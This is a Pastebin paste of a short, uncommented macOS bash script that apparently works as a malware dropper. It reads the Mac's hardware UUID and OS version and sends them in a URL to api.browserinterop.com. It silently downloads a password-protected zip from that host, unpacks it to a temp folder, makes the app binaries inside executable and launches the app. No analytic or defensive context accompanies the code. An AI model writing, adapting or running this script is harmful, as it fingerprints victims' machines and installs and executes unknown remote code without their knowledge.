Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- os_version="$(sw_vers -productVersion)"
- session_guid="$(uuidgen)"
- machine_id="$(echo -n "$(ioreg -rd1 -c IOPlatformExpertDevice | grep -o '"IOPlatformUUID" = "\(.*\)"' | sed -E -n 's@.*"([^"]+)"@\1@p')" | tr -dc '[[:print:]]')"
- url="http://api.browserinterop.com/sd/?c=42NybQ==&u=$machine_id&s=$session_guid&o=$os_version&b=4757508878"
- unzip_password="87880575746954757508878"
- tmp_path="$(mktemp /tmp/XXXXXXXXX)"
- curl -f0L "$url" >/dev/null 2>&1 >>$tmp_path
- app_dir="$(mktemp -d /tmp/XXXXXXXX)/"
- unzip -P "$unzip_password" "$tmp_path" -d "$app_dir" > /dev/null 2>&1
- rm -f $tmp_path
- file_name="$(grep -m1 -v "*.app" <(ls -1 "$app_dir"))"
- volume_name="$(echo -n "$PWD" | sed -E -n 's@^(/Volumes/[^/]+)/.*@\1@p')"
- volume_name="${volume_name// /%20}"
- chmod +x "$app_dir$file_name/Contents/MacOS"/*
- open -a "$app_dir$file_name" --args "s" "$session_guid" "$volume_name"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement